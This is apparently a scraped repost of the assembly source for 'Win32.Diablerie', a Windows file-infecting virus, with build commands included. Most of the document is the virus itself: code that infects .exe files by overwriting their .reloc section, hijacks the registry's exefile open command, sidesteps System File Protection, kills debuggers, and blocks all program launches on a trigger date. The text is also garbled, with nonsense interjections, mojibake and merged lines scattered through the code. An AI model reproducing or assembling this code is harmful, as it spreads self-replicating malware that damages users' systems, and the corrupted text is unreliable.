Win32.Diablerie.asm

xiaoxiao2021-03-05  23

Comment $

Where is I am I am?

Win32.Diablerie?

Where is?

Where is this? Where is it?

Version: 0.7

Author: Dr. Watcom (Valencia / Spain)

Compiler: Borland Turbo Assembler (Version 5.0R / 32bit)

TYPE: PE-Infector (Relocations overwriter)

Platform: Intel 80386 Processor and Compatibles

Systems: Win95, Win98, WinMe, Winnt, Win2k

Size: 2848 bytes

Sys Hooking: Changes 'EXEFILE' Registry Key to TRAP EXE FILES Execution

Encryption: Not Implement (May Be Next Version ...)

EPO: Virus Code Is Run from a Loader Withnin STUB, Using SEH

Anti-av: not import.

Anti-Bait: Does Not Infect Tiny Files (with relocations

Anti-Debug: Detects App-Level Debuggers, Tries To Kill Them with SEH

PayLoad: on 01/11 Denies All Program Execution, Shows Credits

.

This is my second virus and it's a bit lame yet, AS IT HAS NO

POLYMORPHIC ENGINE AND EVEN Uses No Encryption, But I Think IT

IMPLEMENTS A Couple of Nifty Things: IT Obscures The Entrypoint

By Clearing It in The Header, So The Victims Get Executed from

The Very Begging of The File (Including the 'MZ' Signature !!)

AND THEN JMP to a Loader Located in The Dos Stub Code, Which IS

Redone to Keep Compatibility (SO Running Victims Under MS-DOS

Gives no error). This loader Passs Control to the Virus Using

A SEH FRAME TO JMP.

The Virus Changes The 'HKCR / EXEFILE / Shell / Open / Command' Key

To Trap Any Program Which Gets Executed, and Then Infects IT by

Overwriting .reloc Section. It Also Detects (and Tries To Kill)

Application-Level Debuggers.

THE PAYLOAD IS VERY LAME: Only ail 'Message Box Showing The

Credits and Denying All Program Execution On 01/11. The payload

TEXT (AS THE Virus Name) WAS INSPIRED BY The RoLPLAYING GAME "Vampire: The masquerade" (of Course, The * Real * Game, NOT THE

Computer one !!

.Compilation.

(Why Would Anybody Want To Compile this?)

Tasm32 / m / ml diablerie.asm

TLINK32 / TPE / AA / C DIABLERIE.OBJ, DIABLERIE.EXE, IMPORT32.LIB

Pewrite Diablerie.exe

$

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

:? Preprocessor?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

.386; instruction set to be used

.Model flat; no segmentation!

Include Win32.inc; Windows Structures and Constants

INCLUDE MZ_PE.INC; DOS (MZ) & Win32 (PE) EXE LAYOUT

EXTRN EXITPROCESS: Proc; Some Apis Used by Fake Host Code

EXTRN MessageBoxa: proc;

EXTRN_WSPRINTFA: PROC

Where is 谀 哪? Where is Xomo?

; Useful equates and macros?

Where is it? Where is Xiyuomi?

Where is the abuse? Where is Xiyomo?

Debug Equ true; True -> Do Not Infect Files

CRLF EQU <13, 10>

SPAWN_NAME EQU <'MSDIAB.EXE'>

Virus_name EQU <'Win32.Diablerie'>

Virus_version EQU <'V0.7'>

Virus_size equ end - start

Opcode_jmp_short Equ 0ebh

PayLoad_Month EQU 11

PayLoad_day EQU 1

KERNEL32_WIN9X EQU 0BFF70000H; Hardcoded Values, In Case We don't

KERNEL32_WINNT EQU 077F00000H; Find kernel32 by Other Ways. Those

KERNEL32_WIN2K EQU 077E00000H; Values ​​Are Ten Checked Using SEH

KERNEL32_WINME EQU 0BFF60000H; Before Using Them, To Avoid Pf's

API Macro Name

Call [EBP NAME]

ENDM

PUT_SEH_HANDLER MACRO LABEL

Local @@ Skip_Handler

Call @@ Skip_Handler

MOV ESP, [ESP 08H]

JMP Label

@@ Skip_Handler:

XOR EDX, EDX

Push DWORD PTR FS: [EDX]

MOV DWORD PTR FS: [EDX], ESP

ENDM

Restore_seh_handler macro

XOR EDX, EDX

POP DWORD PTR FS: [EDX]

POP EDX

ENDM

Generate_Exception Macroxor EDX, EDX

Div EDX

ENDM

Strlen Macro

Push EAX

PUSH ESI

Push EDI

Mov EDI, ESI

XOR ECX, ECX

Dec ECX

XOR EAX, EAX

Repne scaSB

MOV ECX, EDI

Sub ECX, ESI

POP EDI

POP ESI

POP EAX

ENDM

屯 屯 屯 屯 屯 屯 屯 屯 屯

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

Host Data?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

THIS DATA IS Used Only by First-Generation Fake Host Code

.DATA

Sztitle DB Virus_name, 0

SzTemplate DB 'Virus', Virus_Name, '', Virus_Version, '', 'Has Been Activated.', CRLF

DB 'Current Virus Size IS% I Bytes (0x% X Bytes).', CRLF, CRLF

DB 'Have a nice day.', 0

SZBAIT DB 'Bait1.exe', 0

屯 屯 屯 屯 屯 屯 屯 屯 屯

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

;? Virus code?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

.code

Start:

What is 谀?

;? Setup everything?

Where is the destitute?

Where is the abortion?

Call getdelta; trivial stuff, don't you think?

GetDelta:; OK, I'll Explain: this way you can

POP EBP; get the code displacement (a.k.a.

Sub EBP, OFFSET GETDELTA; DELTA OFFSET

Test EBP, EBP

JZ FirstGenentry

MOV ESP, [ESP 08H]

Restore_seh_handler

MOV EAX, [EBP FILE_ENTRYPOINT]; Original EP (Saved During Infection)

MOV [EBP HOSTENTRY], EAX; Store IN A Safe Place

Firstgenentry:

CLD; We don't like surprises ...

Mov ESI, [ESP]; To Find Kernel32 We Will Use T

Call Findkernel32; RET Address in the stack, wich

JC Returntohost; (Hopefully) Will Point Into IT

Call LocateApis

JC Returntohost

Push size process_information;

Push GMEM_FIXED or GMEM_ZEROINIT;

API GLOBALLOC;

MOV [EBP ProcessInfo], EAX;

Push size startupinfo;

Push GMEM_FIXED or GMEM_ZEROINIT; API GLOBALLOC;

MOV [EBP STARTUPINFO], EAX;

Mov [eax.si_size], Size Startupinfo

Push EAX

API GetStartupinfo; Get Our Startup Information

Test EBP, EBP

JZ Fakehost

What is it?

;? Hands on !!!

Where is it?

Where is the abortion?

Call RNG_INIT; INIT The Random Number Generator

Call detectdebuggers

JC Returntohost

Call ParseCommandline

JNC EXECUTEDFROMREG

Call setupReghook

JMP Returntohost

ExecuteFromReg:

MOV ESI, [EBP CMDexefile]

IF Debug

Push 1040h

Lea Edx, [EBP SZVIRUSNAME]

Push Edx

PUSH ESI

Push null

API MessageBox

Else

Call infectfile

ENDIF

SUB ESP, Size SystemTime

MOV ESI, ESP

PUSH ESI

API GetSystemTime

Add ESP, Size SystemTime

CMP [ESI.ST_MONTH], payload_month

JNE EXECUTEVICTIM

CMP [ESI.ST_DAY], PayLoad_day

JNE EXECUTEVICTIM

Push 1040h

Lea Edx, [EBP SZVIRUSNAME]

Push Edx

Lea Edx, [EBP SZVIRUSCREDITS]]

Push Edx

Push null

API MessageBox

IF Debug

Else

JMP EXITTOWINDOWS

ENDIF

Executevictim:

MOV ESI, [EBP CMDspAwn];

MOV EBX, [EBP ProcessInfo]; Must Execute Our Command Line

MOV EDX, [EBP Startupinfo]; AS A New Process

XOR EAX, EAX

Push EBX

Push Edx

Push EAX

Push EAX

Push EAX

Push EAX

Push EAX

Push EAX

PUSH ESI

Push EAX

API CREATEPROCESS

Exittowindows:

PUSH 0

API EXITPROCESS_

Returntohost:

Test EBP, EBP

JZ Fakehost_quit

Push [EBP HOSTENTRY]

RET

屯 屯 屯 屯 屯 屯 屯 屯 屯

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

; Virus Subroutines?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

DetectDebuggers

Findkernel32

LocateApis

ParseCommandline

SetupReghook

What is it?

DETECTDEBUGGERS?

Where is it? What is it?

Where is the abuse?

Detects Application-Level Debuggers and Tries to Kill Them with SEH;

Output:

Carry flag -> set if debugger Persists, Clear IF NOT

DetectDebuggers:

Pushhad

PUT_SEH_HANDAL FD_CONTINUE; Use SEH TO KILL Debuggers

XOR Eax, Eax; Generate A Exception (Divide By 0)

Div EAX;

Restore_seh_handler; Here Some Abnormal Occured

JMP fd_debugger_found; so lets quit

FD_CONTINUE:; Execution SHOULD RESUME AT THIS PNT

Restore_seh_handler; Remove Handler

Mov Eax, FS: [20h]; Detect Application-Level Debugger

TEST EAX, EAX; is present?

JNZ FD_DEBUGGER_FOUND; Quit!

Popad; No Debuggers Found, So Restore

Clc; Registers, Clear Carry Flag and

Ret; return!

FD_DEBUGGER_FOND:

Popad

STC

RET

What is it?

Findkernel32 charm?

What is it? What is it?

Where is the abortion?

Tries to find kernel32 base address by scanning back from a certain address

; and, if That fails, by using some hardcoded value

;

Input:

ESI -> Must Point Somewhere Into Kernel32

Output:

; var kernel32-> Will Point to kernel32 base address

Carry flag -> set on error

Findkernel32:

Pushhad

And ESI, 0FFFFF0000h

MOV ECX, 100H

FK32_LOOP:

Call Tryaddress

JNC FK32_SUCCESS

SUB ESI, 010000H

Loop fk32_loop

FK32_hardcodes:

Mov ESI, KERNEL32_WIN9X

Call Tryaddress

JNC FK32_SUCCESS

MOV ESI, KERNEL32_WINNT

Call Tryaddress

JNC FK32_SUCCESS

Mov ESI, kernel32_win2k

Call Tryaddress

JNC FK32_SUCCESS

Mov ESI, KERNEL32_WINME

Call Tryaddress

JNC FK32_SUCCESS

FK32_fail:

Popad

STC

RET

FK32_SUCCESS:

MOV [EBP KERNEL32], ESI

Popad

CLC

RET

What is it?

;? LocateApis?

Where is the abuse?

What is the abortion?

Gets All API Addresses That Our Virus Needs

;

Output:

Carry flag -> set on Error, Clear on SUCCESS

LocateApis:

Pushhad

MOV EBX, [EBP KERNEL32]; HAVING FOUND KERNEL32, WE WILL GETLEA ESI, [EBP KERNEL_API_CRC32]; An Array Of API Addresses by THEIR

LEA EDI, [EBP KERNEL_API_ADDR]; Names CRC32, Scanning The Kernel32

Call getapiarray; export table

JC la_fail;

Lea Edx, [EBP SZUSER32]; More Api's! This Time We Call

Push Edx; LoadLibrary TO GET USER32

API LoadLibrary; Call API

MOV EBX, EBX; EBX -> Module Handle

Lea ESI, [EBP USER_API_CRC32]; ESI -> Pointer to CRC32 TABLE

Lea EDI, [EBP User_API_ADDR]; EDI -> Where to Store Addresses

Call getapiarray; Call Our Procedure

JC la_fail; Any Problem? if So, Bail Out

Lea Edx, [EBP SZADVAPI32]; more API's!

Push EDX;

API loadLibrary;

MOV EBX, EAX;

Lea ESI, [EBP Advapi_API_CRC32];

Lea EDI, [EBP Advapi_API_ADDR];

Call getapiarray;

JC la_fail; Any Problem? if So, Bail Out

La_success:

Popad

CLC

RET

La_fail:

Popad

STC

RET

What is 谀?

;? ParseCommandline charm?

Where is the destitute?

Where is the abortion?

; Parses Our CommandLine and Checks for Special Params

;

Output:

VAR CMDLINE

VAR cmdspawn

Var cmdexefile

Carry flag -> set if no special param found, Clear Otherwise

PARSECMMAndline:

Pushhad

XOR EAX, EAX

MOV [EBP CMDSPAWN], EAX

MOV [EBP CMDEXEFILE], EAX

API getcommandline; get outcomman

MOV [EBP CMDLINE], EAX; Save IT

Mov ESI, EAX;

Call getnextParam;

JC PCL_QUIT;

Lodsb

Dec Al

JNZ PCL_QUIT

MOV [EBP CMDSPAWN], ESI

Strlen

Push ECX

Push GMEM_FIXED

API GLOBALLOC

MOV [EBP CMDEXEFILE], EAX

Mov Edi, EAX

Strlen

REP MOVSB

MOV ESI, [EBP CMDexefile]

Call getNextParam

JC PCL_QUIT

Dec ESI

MOV Byte Ptr [ESI], 0

Popad

CLC

RET

PCL_QUIT: POPAD

STC

RET

What is it?

?? SetupReghook Mei?

What is it? What is it?

Where is the abortion?

Copies Our Host to Windows Directory and Changes The 'EXEFILE' KEY IN REG

SetupReghook:

Pushhad

SUB ESP, MAX_PATH

MOV ESI, ESP

SUB ESP, MAX_PATH

MOV EDI, ESP

PUSH MAX_PATH

Push EDI

API GetWindowsDirectory

Lea Edx, [EBP SZSPAWNFILE]

Push Edx

Push EDI

API LSTRCAT

PUSH MAX_PATH

PUSH ESI

Push null

API getModuleFileName

Push False

Push EDI

PUSH ESI

API COPYFILE

Lea ESI, [EBP SzregValue]

Lea EDI, [EBP Szregkey]

Mov Edx, HKEY_CLASS_ROOT

Call ChangeRegstring

Add ESP, MAX_PATH MAX_PATH

Popad

RET

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

;? Virus functions?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

ChangeRegstring

GetApiaddress

Getapiarray

GetCrc32

GetNextParam

Tryaddress

What is it?

;? CHANGEREGSTRING Mei?

Where is it? What is it?

Where is the abuse?

; SHORTCUT TO CHANGE A Registry String

;

Input:

; EDI -> Pointer to Key To Be Changd

ESI -> Pointer to Key Value

; EDX -> HotKey

Changeregstring:

Pushhad

SUB ESP, 4

MOV EBX, ESP

Push EBX

Push Key_All_Access

PUSH 0

Push EDI

Push Edx

API RegopenKeyex

Strlen

Dec ECX

Push ECX

PUSH ESI

Push reg_sz

Push null

Push DWORD PTR [EBX]

API RegSetValue

Push DWORD PTR [EBX]

API Regclosekey

Add ESP, 4

Popad

RET

Where is it?

Getapiaddress charm?

Where is it? What is it ??

Where is the abortion?

Tries to get an API Address by its crc32 from the given module export table

;

Input:

ESI -> Module Handle

Edx -> API's CRC32

Output:

EAX -> API's Address

Carry flag -> set on Error, Clear on SUCCESS

Getapiaddress:

Pushhad

Mov EDI, ESI

Add ESI, [EDI.MZ_LFANEW]

Add ESI, 078H

Lodsd

Add Eax, EDI

Mov ESI, EAX

Mov Eax, [ESI.ed_NumberOfnames]]

MOV [EBP ET_MAXNAMES], EAX

MOV EAX, [ESI.ed_addressofnames]

Add Eax, EDI

MOV [EBP ET_PTRNAMES], EAX

Mov Eax, [ESI.ed_addressoffunctions]

Add Eax, EDI

MOV [EBP ET_PTRADDRESSSS], EAX

Mov Eax, [ESI.ed_addressOfNameRDINALS]

Add Eax, EDI

MOV [EBP ET_PTRORDINALS], EAX

MOV ESI, [EBP ET_PTRNAMES]]

MOV ECX, [EBP ET_MAXNAMES]]

XOR EAX, EAX

MOV [EBP Count], EAX

GA_GETNAMEPTR:

JECXZ GA_FAIL

Lodsd

PUSH ESI

Add Eax, EDI

Mov ESI, EAX

XOR EBX, EBX

Push ECX

Strlen

Call getCrc32

POP ECX

CMP EAX, EDX

JNE GA_NEXT

MOV ECX, [EBP Count]

MOV ESI, [EBP ET_Ptrordinals]

SHL ECX, 1

Add ESI, ECX

XOR EAX, EAX

Lodsw

Mov ESI, [EBP ET_PTRADDRESSESSSSS]]

SHL EAX, 2

Add ESI, ESI

Lodsd

Add Eax, EDI

MOV [EBP ET_TMPADDRESS], EAX

JMP GA_SUCCESS

GA_NEXT:

POP ESI

Dec ECX

INC [EBP Count]

JMP GA_GETNAMEPTR

GA_SUCCESS:

POP ESI

Popad

MOV EAX, [EBP ET_TMPAddress]

CLC

RET

GA_FAIL:

Popad

STC

RET

What is it?

Getapiarray?

Where is it?

Where is the abortion?

Gets an Array of Api Addresses from the given module

;

Input:

ESI -> Points to an array of crc32 values, Ending with a null dword

EDI -> Points to Destination of the Address Array

EBX -> Module Handle

Output:

Carry flag -> set on Error, Clear on SUCCESS

Getapiarray:

Pushhad

GAA_LOOP:

Lodsd

Test Eax, EAX

JZ GAA_SUCCESS

Mov Edx, EAX

PUSH ESI

MOV ESI, EBX

Call getapiaddress

JC GAA_FAIL

Stosd

POP ESI

JMP GAA_LOOP

GAA_SUCCESS:

Popad

CLC

RET

GAA_FAIL:

Popad

STC

RET

What is it?

;? GetCrc32 charm?

What is the abutment?

Where can you get?

COMPUTES CRC32 Checksum of The Given Data

;

Input:

ESI -> Pointer to Data

ECX -> Size of data in bytes; Output:

EAX -> CRC32 Checksum

GetCrc32:

Pushhad

Mov Edi, ECX

XOR ECX, ECX

Dec ECX

MOV EDX, ECX

CRC32_NEXTBYTE:

XOR EAX, EAX

XOR EBX, EBX

Lodsb

XOR Al, Cl

MOV CL, CH

MOV CH, DL

MOV DL, DH

MOV DH, 8

CRC32_NextBit:

SHR BX, 1

RCR AX, 1

JNC CRC32_NOCRC

XOR AX, 08320H

XOR bx, 0edb8h

CRC32_NOCRC:

DEC DH

JNZ CRC32_NEXTBIT

XOR ECX, EAX

XOR EDX, EBX

Dec Edi

JNZ CRC32_NEXTBYTE

Not Edx

NOT ECX

MOV EAX, EDX

ROL EAX, 16

MOV AX, CX

MOV [EBP CRC32], EAX

Popad

MOV EAX, [EBP CRC32]

RET

What is it?

?? GetNextParam?

What is it? What is it?

Where is the abortion?

; Moves ESI Pointer to Next Parameter In a CommandLine-Type String

Uses SEH TO AVOID POSIBLE PROTECTION FAULTS

;

Input:

; ESI -> Pointer to a commandline-type string

;

Output:

ESI -> Points to Next Parameter

Carry flag -> set if string terminated, Clear on SUCCESS

GetNextParam:

Push EAX

Push ECX

PUT_SEH_HANDLER GNP_FAIL

MOV CL, 20H; Character to Match (Space)

GNP_SKIPSPACES:

Lodsb;

TEST Al, Al;

JZ GNP_FAIL; if Al is Zero, String Was Terminated

CMP Al, CL;

Je gnp_skipspaces; there is recent spacs, loop ON

CMP Al, 22H; First CHAR IS A Quote?

JNE GNP_FIND; NO: WE MUST FIND A SPACE

MOV CL, 22H; YES: WE MUST FIND The Closing Quote

GNP_Find:

Lodsb

Test Al, Al

JZ GNP_FAIL

CMP AL, CL

JNE GNP_FIND

Restore_seh_handler

POP ECX

POP EAX

CLC

RET

GNP_fail:

Restore_seh_handler

POP ECX

POP EAX

STC

RET

What is it?

:? Tryaddress?

Where is the abuse?

What is the abortion?

Checks if ESI Points to a Valid Pe Base Address (useful to find kernel32),

Uses SEH TO AVOID POSSIBLE FAULTS, SO The Address May Be Anything

;

Input:

ESI-> Address to try

Output:

Carry flag -> set on Error, Clear on SuccessTryAddress:

Pushhad

PUT_SEH_HANDLER TA_FAIL

CMP Word PTR [ESI], 'ZM'

JNE TA_FAIL

Add ESI, [ESI.MZ_LFANEW]

CMP Word PTR [ESI], 'EP'

JE TA_SUCCESS

TA_SUCCESS:

Restore_seh_handler

Popad

CLC

RET

TA_FAIL:

Restore_seh_handler

Popad

STC

RET

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

:? Randomizing functions?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

What is it?

;? RNG_INIT Mei?

What is the abutment?

Where can you get?

Initialise the Random Number Generator

;

RNG_INIT:

Pushhad

API GettickCount

MOV [EBP RNDSEED_1], EAX

ROL Eax, 3

MOV [EBP RNDSEED_2], EAX

ROL Eax, 3

MOV [EBP RNDSEED_3], EAX

ROL Eax, 3

MOV [EBP RNDSEED_4], EAX

ROL Eax, 3

MOV [EBP RNDSEED_5], EAX

ROL Eax, 3

MOV [EBP RNDSEED_6], EAX

Popad

RET

Where is it?

;? RNG_GETRANDOM ME?

Where is it? What is it ??

Where is the abortion?

RETURNS A 32-bit Random Number

;

Output:

EAX -> Random Number

RNG_GETRANDOM:

Push Edx

MOV EAX, [EBP RNDSEED_1]

Mov Edx, [EBP RNDSEED_2]

XOR EAX, [EBP RNDSEED_3]

XOR EDX, [EBP RNDSEED_4]

SHRD EAX, EDX, 11H

Push EAX

MOV EAX, [EBP RNDSEED_5]

MOV EDX, [EBP RNDSEED_6]

And Eax, 0FFFFFFEH

Add [EBP RNDSEED_1], EAX

ADC [EBP RNDSEED_2], EDX

INC DWORD PTR [EBP RNDSEED_3]

Inc DWORD PTR [EBP RNDSEED_4]

POP EAX

POP EDX

RET

Which is it?

?? RNG_GETRANDOMRANGE?

What is it? What is it? What is it?

Where is the abortion?

Returns a Random Number from 0 to [EAX - 1]

;

Input:

EAX -> Maximum Random Number To Get 1

;

Output:

EAX -> Random Number

RNG_GETRANDOMRANGE:

Push EBX

MOV EBX, EAX

Call RNG_Getrandom

RNG_R_LOOP:

CMP EAX, EBX; Now, Keep Result in the Given Range

JL RNG_R_OK; It's in Range, So We Can Returnshr Eax, 1; It's Not. We Divide IT by 2 and

JMP RNG_R_LOOP; Loop To Compare Again

RNG_R_OK:

POP EBX

Ret; return!

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

; InFection code?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

What is it?

Infectfile?

Where is the abuse?

What is the abortion?

; Infects a portable executable by overwriting .reloc section

;

Input:

ESI -> Points to FileName to Infect

;

Infectfile:

Pushhad

MOV [EBP FileName], ESI

MOV [EBP FILINFECTED], FALSE

Mov EDI, ESI

Mov ECX, MAX_PATH

XOR EAX, EAX

CLD

RepNZ scaSB

MOV EAX, [EDI-5]

OR EAX, 20202000H

CMP EAX, 'EXE.'

JNE IF_QUIT

Avoid System File Protection

Where is the abortion? Where is Xombey?

Lea EDX, [EBP SZSFC]; We Have to Avoid Win2k / WinMe SFP

Push Edx; Push a Pointer To Library Name

API LoadLibrary; loading it

Test Eax, Eax; if The Library Doesn't EXIST, WE

JZ if_notprotected; Can Safely Ignore SFP

Lea Edx, [EBP SZSFCPROC]; Pointer To Function Name

Push EDX; Push IT

Push Eax; Push Module Handle

API GetProcaddress; Call API

Test Eax, Eax; No Function with That Name, SO WE

JZ if_notprotected; Proceed to Infection

Push ESI; Pointer to Victim's FileName

Push null; this parameter must be null

Call Eax; Call SfcisfileProtected

Test Eax, Eax; NOT Protected? Go Ahead, Continue

JZ if_notprotected; with infection

JMP if_quit; File Protected, WE Must Quit

; Save file attributes and remove them

Where is the abortion? Where is Xombexto know?

IF_notprotaced:

Push ESI; POINTS to FileName

API getFileAttributes; Call API

MOV [EBP FileAttribs], EAX; Save Attributes for Later USE

Push file_attribute_normal; now we change the attributes of there

Push ESI; File to File_Attribute_normalalapi setfileAttribute; Call API

Open a Handle to the File

Where is the abuse?

IF_OpenFile:

XOR EAX, EAX

Push EAX

Push EAX

Push Open_EXISTING

Push EAX

Push file_share_read

Push generic_read or generic_write

PUSH ESI

API CREATEFILE

INC EAX

JZ if_restorettribs

Dec EAX

MOV [EBP FILEHANDLE], EAX

; Save Creation / Access / Modify Times

Where is the abortion? Where is Xomo know? Where is it?

Lea Edx, [EBP FileTime_Written]

Push Edx

Lea Edx, [EBP FileTime_accessed]

Push Edx

Lea Edx, [EBP FileTime_created]

Push Edx

Push [EBP FILEHANDLE]

API GetFileTime

; Save File Size

Where is the abortion?

Push null

Push [EBP FILEHANDLE]

API GetFileSize

MOV [EBP FileSize], EAX

Open a file mapping object

Where is the abuse? Where is Xomo?

IF_createmapping:

XOR EAX, EAX

Push EAX

Push [EBP FileSize]

Push EAX

Push Page_Readwrite

Push EAX

Push [EBP FILEHANDLE]

API CREATEFILEMAPPING

Test Eax, EAX

JZ if_closefile

MOV [EBP FILEMAPPING], EAX

Map a view of the file

Where is the abortion?

IF_createview:

XOR EAX, EAX

Push DWORD PTR [EBP OFFSET FileSize]

Push EAX

Push EAX

Push file_map_all_access

Push [eBP filemapping]

API MapViewoffile

Test Eax, EAX

JZ if_closemapping

MOV [EBP FILEVIEW], EAX

Mov ESI, EAX

Check for MZ / PE SIGNATIS

Where is the abuse? Where is Xomo?

CMP Word PTR [ESI], 'ZM'

JNE IF_Closemapping

Add ESI, [ESI.MZ_LFANEW]

CMP Word PTR [ESI], 'EP'

JNE IF_Closemapping

Check for Space for the EPO Loader

Where is the abuse?

MOV ESI, [EBP FILEVIEW]

Mov EDI, ESI

Add ESI, [ESI.MZ_LFANEW]

SUB ESI, EDI

SUB ESI, SIZE Image_DOS_HEADER

CMP ESI, SIZE_EPO_LOADER

JL if_closeview

; Find '.reloc' Section

Where is the abortion?

MOV ESI, [EBP FILEVIEW] Add ESI, [ESI.MZ_LFANEW]

Movzx Eax, Word Ptr [ESI.FH_NUMBEROFSECTIONS]]

MOV [EBP File_SEctions], EAX

Add ESI, SIZE_FILE_HEADER

Mov Eax, [ESI.OH_IMAGEBASE]

MOV [EBP FILE_IMAGEBASE], EAX

Mov Eax, [ESI.OH_ADDRESSOFENTRYPOINT]

Add Eax, [EBP FILE_IMAGEBASE]

MOV [EBP FILE_ENTRYPOINT], EAX

Mov Eax, [ESI.OH_Numberofrvaandsizes]

Imul ECX, EAX, SIZE Image_DATA_DIRECTORY

Add ESI, SIZE_OPTIONAL_HEADER

Add ESI, ECX

MOV EAX, [EBP File_SEctions]

IF_TRYSECTION:

CMP DWORD PTR [ESI], 'Ler.'

JNE IF_NEXTSECTION

Add ESI, 2

CMP DWORD PTR [ESI], 'Cole'

JNE IF_NEXTSECTION

SUB ESI, 2

JMP if_foundrelocs

IF_NEXTSECTION:

Dec EAX

Test Eax, EAX

JZ if_closeview

Add ESI, SIZE_SECTION_HEADER

JMP if_trysection

IF_Foundrelocs:

CMP [ESI.SH_SIZEOFRAWDATA], Virus_Size

JL if_closeview

CMP [ESI.SH_CHARACTERISTICS], /

Image_scn_cnt_code or image_scn_mem_execute or image_scn_mem_write

JE if_closeview

MOV [EBP File_SECTIONHEADER], ESI

Mov Eax, [ESI.SH_VIRTUALADDRESS]

MOV [EBP File_SECTIONRVA], EAX

Mov Eax, [ESI.SH_POINTERTORAWDATA]

MOV [EBP File_SECTIONRAW], EAX

Mov Eax, [ESI.SH_SIZEOFRAWDATA]

MOV [EBP File_SEctionsize], EAX

; Copy Virus Body

Where is the abortion?

IF_copyvirusbody:

Mov Edi, [EBP File_SECTIONRAW]

Add Edi, [EBP FILEVIEW]

Lea ESI, [EBP START]

MOV ECX, Virus_Size

CLD

REP MOVSB

MOV ECX, [EBP File_SEctionsize]

Sub ECX, Virus_size

XOR EAX, EAX

Rep Stosb

Insert EPO Loader Into Dos Header / Stub

Where is the abortion?

IF_INSERTLOADER:

XOR EAX, EAX

MOV EDI, [EBP FileView]; Start of File

MOV [edi.mz_ip], ax; clear dos entry point

MOV [edi.mz_lfarlc], ax; clear dos relocationsadd edi, 2; skip 'mz' Signature

Mov al, opcode_jmp_short; setup a jmp silk

Stosb; Insert JMP Short Opcode

Mov Eax, size image_dos_header; Calc Destination: After MZ Header

Add Eax, 2; Skipping First 2 bytes of Code

SUB Al, 4; But Relative to Next Eip!

Stosb; INSERT Displacement Byte

MOV EAX, [EBP File_ImageBase]; Calculate Virus Entry Point:

Add Eax, [EBP File_SECTIONRVA]; Image Base Virus Section RVA

Lea Edx, [EBP Entrypoint]; Save Virus Entry Point Into Our

MOV [EDX], EAX; Loader Code

MOV EDI, [EBP FileView]; Start of File

Add Edi, Size Image_DOS_HEADER; Go Beyond Mz Header

Lea ESI, [EBP EPOLOADER]; Address of Our Loader Code

MOV ECX, SIZE_EPO_LOADER; SIZE OF CODE

Rep Movsb; Store It!

Update headers

Where is the abortion?

If_updateheaders:

MOV EDI, [EBP FILEVIEW]

Add edi, [edi.mz_lfanew]

Add Edi, Size Image_File_Header

XOR Eax, Eax; Clear Entry Point (Reset to Zero)

MOV [edi.oh_addressofentryPoint], EAX

MOV ESI, [EBP File_SECTIONHEADER]

MOV [ESI.SH_CHARACTERISTICS], /

Image_scn_cnt_code or image_scn_mem_execute or image_scn_mem_write

MOV [EBP FILINFECTED], TRUE; Infection Complete

Unmap the view

Where is the abortion?

IF_closeview:

Push [EBP FILEVIEW]

API UnmapViewoffile

Close the file mapping object

Where is the abuse? Where is Xomo know? Where is?

IF_closemapping:

Push [eBP filemapping]

API CloseHandle

Close The File Handle, Restore Times

Where is the abortion? Where is Xombexto know?

IF_closefile:

IF Debug

Push [EBP FILEHANDLE]

API CloseHandle

Else

Lea Edx, [EBP FileTime_Written]

Push Edx

Lea Edx, [EBP FileTime_accessed]

Push Edx

Lea Edx, [EBP FileTime_created]

Push Edxpush [EBP FILEHANDLE]

API setFiletime

Push [EBP FILEHANDLE]

API CloseHandle

ENDIF

Restore the file attributes

Where is the abuse? Where is Xiyomo?

IF_RESTOREATTRIBS:

Push [EBP FileAttribs]]

Push [EBP FileName]

API setFileAttributes

IF_quit:

Popad

RET

屯 屯 屯 屯 屯 屯 屯 屯 屯

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

;? EPO - STUB Program?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

Code to Replace Victim's Dos Stub

;

Epoloader:

DB 0ebh; JMPS ...

DB MSDOS_CODE-WIN32_CODE; (Relative Displacement)

WIN32_CODE:

DB 052H; Push EDX

DB 045H; INC EBP

DB 068H; Push ...

EntryPoint:

DD 000000000H;

DB 033H, 0C0H; XOR EAX, EAX

DB 064H, 0FFH, 030H; Push FS: [EAX]

DB 064H, 089H, 020H; MOV FS: [EAX], ESP

DB 0F7H, 0F0H; DIV EAX

MSDOS_CODE:

DB 0BAH; MOV DX ...

DW MSDOS_STRING-EPOLOADER; (Offset String)

DB 00EH; PUSH CS

DB 01FH; POP DS

DB 0B4H, 009H; MOV AH, 09

DB 0CDH, 021H; INT 21

DB 0B8H, 001H, 04CH; MOV AX, 04C01

DB 0CDH, 021H; INT 21

MSDOS_STRING:

; DB 'this Program Requires Microsoft Windows.'

DB 'this Program Cannot Be Run in dos mode.'

; DB 'this Program Must Be Run Under Win32.'

AARGH! I NEED More Space!

DB 'this Program Needs Win32'

DB CRLF, '$', 0

EPOLOADER_END:

SIZE_EPO_LOADER EQU EPOLOADER_END - EPOLOADER

屯 屯 屯 屯 屯 屯 屯 屯 屯

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

;? Virus Data?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

KERNEL32 DD 00H

Hostentry DD 00H

CRC32 DD 00H

